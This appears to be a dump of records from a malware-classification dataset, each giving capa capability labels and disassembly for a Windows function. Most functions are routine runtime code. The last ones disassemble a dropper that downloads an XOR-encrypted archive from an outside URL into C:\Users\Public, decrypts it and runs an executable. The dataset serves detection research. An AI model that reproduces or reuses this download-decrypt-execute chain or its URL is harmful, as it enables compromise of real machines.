joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14007322c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbx
sub rsp, 0x30
mov ebx, edx
test rcx, rcx
jne 0x140073266
call fcn.14007046c
and dword [rax], 0
call fcn.14007044c
and qword [rsp + 0x20], 0
mov ebx, reloc.WLDAP32.dll_Ordinal_22
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], ebx
call fcn.14006dc60
mov eax, ebx
jmp 0x1400732b6
test edx, 0xfffffff9
jne 0x140073239
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x14007328f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14007048c
call fcn.14007044c
mov eax, dword [rax]
jmp 0x1400732b6
test al, 0x10
jne 0x1400732b4
test al, 1
je 0x1400732b4
test bl, 2
je 0x1400732b4
call fcn.14007046c
mov dword [rax], 5
call fcn.14007044c
mov dword [rax], reloc.WS2_32.dll_listen
jmp 0x140073286
xor eax, eax
add rsp, 0x30
pop rbx
ret

Function at 0x140076fb7
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x1400b6f80]
jne 0x14006d1ca
rol rcx, 0x10
test cx, 0xffff
jne 0x14006d1c6
repz ret
ror rcx, 0x10
jmp 0x140076f10
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400b9290]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x1400b9388]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140076f95
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400b9290]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140076fb7
mov rax, qword [rsp + 0x88]
mov qword [0x1400b9388], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x1400b9328], rax
mov rax, qword [0x1400b9388]
mov qword [0x1400b9200], rax
mov rax, qword [rsp + 0x90]
mov qword [0x1400b9310], rax
mov dword [0x1400b91f0], 0xc0000409
mov dword [0x1400b91f4], 1
mov rax, qword [0x1400b6f80]
mov qword [rsp + 0x68], rax
mov rax, qword [0x1400b6f88]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400b9288], eax
mov ecx, 1
call fcn.14007896c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14009ca70]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400b9288], 0
jne 0x14007703e
mov ecx, 1
call fcn.14007896c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x14007a340
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x14007a1a8
Function at 0x14007d06c
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.14007897c
xor ebx, ebx
mov rdi, rax
cmp qword [0x1400b9fa0], rbx
jne 0x14007d172
lea rcx, [0x14009d260]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14007d247
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14007d247
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1400b9fa0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1400b9fa8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x1400b9fb0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x1400b9fc0], rax
test rax, rax
je 0x14007d169
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x1400b9fb8], rax
jmp 0x14007d179
mov rax, qword [0x1400b9fb8]
jmp 0x14007d180
mov rax, qword [0x1400b9fb8]
mov r11, qword [0x1400b9fc0]
cmp rax, rdi
je 0x14007d1e8
cmp r11, rdi
je 0x14007d1e8
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x1400b9fc0]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x14007d1e8
test rax, rax
je 0x14007d1e8
call rsi
test rax, rax
je 0x14007d1e2
lea rcx, [rsp + 0x88]
mov r9d, ntohl
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14007d1e2
test byte [rsp + 0x38], 1
jne 0x14007d1e8
bts ebp, 0x15
jmp 0x14007d226
mov rcx, qword [0x1400b9fa8]
cmp rcx, rdi
je 0x14007d226
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14007d226
call rax
mov rbx, rax
test rax, rax
je 0x14007d226
mov rcx, qword [0x1400b9fb0]
cmp rcx, rdi
je 0x14007d226
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14007d226
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1400b9fa0]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x14007d247
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x14007d249
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140084cb8
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.14007897c
xor ebx, ebx
mov rdi, rax
cmp qword [0x1400ba068], rbx
jne 0x140084dbe
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x140084e93
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140084e93
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1400ba068], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1400ba070], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x1400ba078], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x1400ba088], rax
test rax, rax
je 0x140084db5
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x1400ba080], rax
jmp 0x140084dc5
mov rax, qword [0x1400ba080]
jmp 0x140084dcc
mov rax, qword [0x1400ba080]
mov r11, qword [0x1400ba088]
cmp rax, rdi
je 0x140084e34
cmp r11, rdi
je 0x140084e34
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x1400ba088]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x140084e34
test rax, rax
je 0x140084e34
call rsi
test rax, rax
je 0x140084e2e
lea rcx, [rsp + 0x88]
mov r9d, ntohl
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140084e2e
test byte [rsp + 0x38], 1
jne 0x140084e34
bts ebp, 0x15
jmp 0x140084e72
mov rcx, qword [0x1400ba070]
cmp rcx, rdi
je 0x140084e72
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140084e72
call rax
mov rbx, rax
test rax, rax
je 0x140084e72
mov rcx, qword [0x1400ba078]
cmp rcx, rdi
je 0x140084e72
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140084e72
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1400ba068]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140084e93
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x140084e95
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret

Function at 0x14008ac40
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x14008ac64
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x20], eax
jmp 0x14008ac6c
mov dword [rsp + 0x20], 0
cmp dword [rsp + 0x20], 0
je 0x14008ac83
mov ecx, dword [rsp + 0x20]
call fcn.14007048c
mov eax, 0xffffffff
jmp 0x14008ac85
xor eax, eax
add rsp, 0x38
ret
Function at 0x6da8fc80
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6dab05e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6da8fe08
mov rax, qword [0x6dab05e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6da8fccc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6da8fd55
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6da8fcb0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6da8fe3d
mov rax, qword [0x6dab05e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6dab05e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6da8fe20
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6da8fd4e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6da8fdb0
add dword [0x6dab05e4], 1
cmp edi, 8
jae 0x6da8fd83
test dil, 4
jne 0x6da8fdf4
test edi, edi
je 0x6da8fd78
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6da8fe0f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6da8fd78
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6da8fd9c
jmp 0x6da8fd78
add rsi, qword [0x6dab05e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6da8fd4e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6da8fd78
xor esi, esi
jmp 0x6da8fcd7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6da8fd78
mov rax, qword [0x6dab05e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6da90590
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6dab08c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6dab08a0]
test rbx, rbx
je 0x6da905e4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6da905db
test rsi, rsi
je 0x6da905db
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6da905c0
lea rcx, [0x6dab08c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6da90820
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6da90830
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6da90840
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6da90881
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6da90878
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6da90883
add rax, 0x28
cmp rax, r9
jne 0x6da90864
xor eax, eax
ret

Function at 0x6da90920
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6daad1f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6da9098d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6da9098d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6da9098d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6da90984
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6da9098f
add rax, 0x28
cmp rax, r9
jne 0x6da90970
xor eax, eax
add rsp, 0x28
ret

Function at 0x6da90a90
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6daad1f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6da90ab0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6da90aa8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6da90b0d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6da90b04
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6da90b14
add rax, 0x28
cmp rax, r9
jne 0x6da90af0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6da90b30
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6daad1f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6da90b9e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6da90b9e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6da90b9e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6da90b9e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6da90b95
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6da90ba5
add rcx, 0x28
cmp rcx, rax
jne 0x6da90b80
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6da90bb8
jmp 0x6da90b9e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6da90bc6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6da90b9e
test r9d, r9d
jg 0x6da90bb0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6da90f00
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140001020
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140001053
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140001096
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x140001091
cmp rbx, r11
jae 0x140001096
dec edi
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x140001080
cmp rbx, r11
jb 0x14000109a
xor eax, eax
jmp 0x1400010a6
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140033dd0
Capabilities:
Reference http user-agent string

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x14029d280]
xor rax, rsp
mov qword [rsp + 0x48], rax
cmp qword [rcx + 0x38], 0x10
lea r8, [rcx + 0x20]
mov rbx, rcx
jb 0x140033df6
mov r8, qword [r8]
mov rcx, qword [rcx + 8]
mov edx, 0x2712
call fcn.14019b8e0
lea rdx, str.Mozilla_5.0__Windows_NT_6.1__WOW64__rv:13.0__Gecko_20100101_Firefox_13.0.1
lea rcx, [rsp + 0x20]
mov r8d, Ordinal_79
mov qword [rsp + 0x38], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x30], 0
mov byte [rsp + 0x20], 0
call fcn.140033c70
cmp qword [rsp + 0x38], 0x10
mov rcx, qword [rbx + 8]
lea r8, [rsp + 0x20]
mov edx, 0x2722
cmovae r8, qword [rsp + 0x20]
call fcn.14019b8e0
mov rcx, qword [rbx + 8]
mov edx, 0x44
lea r8d, [rdx - 0x3f]
call fcn.14019b8e0
mov rcx, qword [rbx + 8]
mov edx, 0x34
lea r8d, [rdx - 0x33]
call fcn.14019b8e0
mov rcx, qword [rbx + 8]
mov edx, 0x63
lea r8d, [rdx - 0x62]
call fcn.14019b8e0
mov rcx, qword [rbx + 8]
xor r8d, r8d
lea edx, [r8 + 0x2f]
call fcn.14019b8e0
mov rcx, qword [rbx + 8]
lea r8, [0x140033770]
mov edx, 0x4e2b
call fcn.14019b8e0
mov rcx, qword [rbx + 8]
mov r8, rbx
mov edx, 0x2711
call fcn.14019b8e0
mov rcx, qword [rbx + 8]
xor r8d, r8d
lea edx, [r8 + 0x40]
call fcn.14019b8e0
mov rcx, qword [rbx + 8]
xor r8d, r8d
lea edx, [r8 + 0x51]
call fcn.14019b8e0
cmp qword [rsp + 0x38], 0x10
jb 0x140033eef
mov rcx, qword [rsp + 0x20]
call fcn.14003aad0
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140180e30
add rsp, 0x50
pop rbx
ret

Function at 0x140034aa0
Capabilities:
Delete file

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x160
mov rax, qword [0x14029d280]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rbp, rdx
mov rdi, rcx
lea rdx, [0x1401f4f2e]
mov rcx, rbp
call fcn.14003a640
mov rbx, rax
test rax, rax
jne 0x140034af2
lea rcx, str.123
xor r8d, r8d
xor edx, edx
call fcn.14004a740
xor eax, eax
jmp 0x140034bb2
mov rdx, rdi
mov rcx, rax
call fcn.1400387d0
test eax, eax
je 0x140034b21
lea rcx, [0x1401f4f34]
xor r8d, r8d
xor edx, edx
call fcn.14004a740
mov rcx, rbx
call fcn.14003a970
xor eax, eax
jmp 0x140034bb2
lea r8, [rsp + 0x20]
or edx, 0xffffffff
mov rcx, rbx
call fcn.140038770
test eax, eax
je 0x140034b52
lea rcx, [0x1401f4f38]
xor r8d, r8d
xor edx, edx
call fcn.14004a740
mov rcx, rbx
call fcn.14003a970
xor eax, eax
jmp 0x140034bb2
mov qword [rsp + 0x190], rsi
mov esi, dword [rsp + 0x20]
xor edi, edi
test esi, esi
jle 0x140034b94
nop word [rax + rax]
lea r8, [rsp + 0x20]
mov edx, edi
mov rcx, rbx
call fcn.140038770
lea r8, [rsp + 0x24]
mov edx, edi
mov rcx, rbx
call fcn.14003a650
inc edi
cmp edi, esi
jl 0x140034b70
mov rcx, rbx
call fcn.14003a970
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rsi, qword [rsp + 0x190]
mov eax, 1
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140180e30
add rsp, 0x160
pop rdi
pop rbp
pop rbx
ret
Function at 0x140034bd0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x20
mov rsi, rdx
xor edx, edx
mov r12, r8
mov rbx, rcx
xor ebp, ebp
call fcn.1401d89cc
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, r12
repne scasb al, byte [rdi]
lea rdx, [0x1401f4f3c]
not rcx
lea r13, [rcx - 1]
mov rcx, rbx
call fcn.1401821e4
lea rdx, [0x1401f4f40]
mov rcx, rsi
mov rdi, rax
call fcn.1401821e4
mov rcx, rdi
mov rbx, rax
call fcn.1401827bc
test eax, eax
jne 0x140034c96
nop dword [rax]
mov edx, 1
lea rcx, [rsp + 0x58]
mov r9, rdi
mov r8d, edx
call fcn.14018279c
mov rcx, rdi
call fcn.1401827bc
test eax, eax
jne 0x140034c8a
mov eax, ebp
mov r9, rbx
cdq
idiv r13d
movsxd rax, edx
mov edx, 1
movzx ecx, byte [rax + r12]
mov r8d, edx
xor byte [rsp + 0x58], cl
lea rcx, [rsp + 0x58]
call fcn.140181f98
inc ebp
mov rcx, rdi
call fcn.1401827bc
test eax, eax
je 0x140034c40
mov rcx, rdi
call fcn.1401820a4
mov rcx, rbx
call fcn.1401820a4
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x140034f90
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x28]
sub rsp, 0x120
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov rax, qword [0x14029d280]
xor rax, rsp
mov qword [rbp + 0x18], rax
mov dword [rbp], 0x38314235
mov dword [rbp + 4], 0x44413343
mov dword [rbp + 8], 0x52464338
mov dword [rbp + 0xc], 0x39334434
mov byte [rbp + 0x10], 0
lea rcx, [rbp - 0x70]
call fcn.140033a10
nop
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
xor ebx, ebx
mov qword [rsp + 0x70], rbx
mov byte [rsp + 0x60], bl
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, str.C:UsersPublicen.dat
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, str.C:UsersPublicen.dat
lea rcx, [rsp + 0x60]
call fcn.140033c70
nop
mov qword [rsp + 0x50], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x48], rbx
mov byte [rsp + 0x38], bl
lea r8d, [rbx + 0x6b]
lea rdx, str.https:__link.jscdn.cn_1drv_aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBa0ZQRnBaT2Q2d0FnamFRTXRmUzQ0VUFKWml4P2U9QXZMVDdG.zip
lea rcx, [rsp + 0x38]
call fcn.140033c70
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x70]
call fcn.140033f10
nop
cmp qword [rsp + 0x50], 0x10
jb 0x140035072
mov rcx, qword [rsp + 0x38]
call fcn.14003aad0
mov qword [rsp + 0x50], reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x48], rbx
mov byte [rsp + 0x38], 0
cmp qword [rsp + 0x78], 0x10
jb 0x140035097
mov rcx, qword [rsp + 0x60]
call fcn.14003aad0
lea rcx, [rbp - 0x70]
call fcn.140033710
lea r8, [rbp]
lea rdx, str.C:UsersPublicde.dat
lea rcx, str.C:UsersPublicen.dat
call fcn.140034bd0
lea rdx, str.C:UsersPublicde.dat
lea rcx, str.C:UsersPublic
call fcn.140034aa0
lea rdx, str.BitTorrentEvernoteMouseTray.exe
lea rcx, str.C:UsersPublic
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rbx
lea r9, [0x1401f4f2f]
lea r8, str.C:UsersPublic
lea rdx, [0x1401f4f44]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
lea rcx, [rbp - 0x70]
call fcn.140033af0
mov eax, 1
mov rcx, qword [rbp + 0x18]
xor rcx, rsp
call fcn.140180e30
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret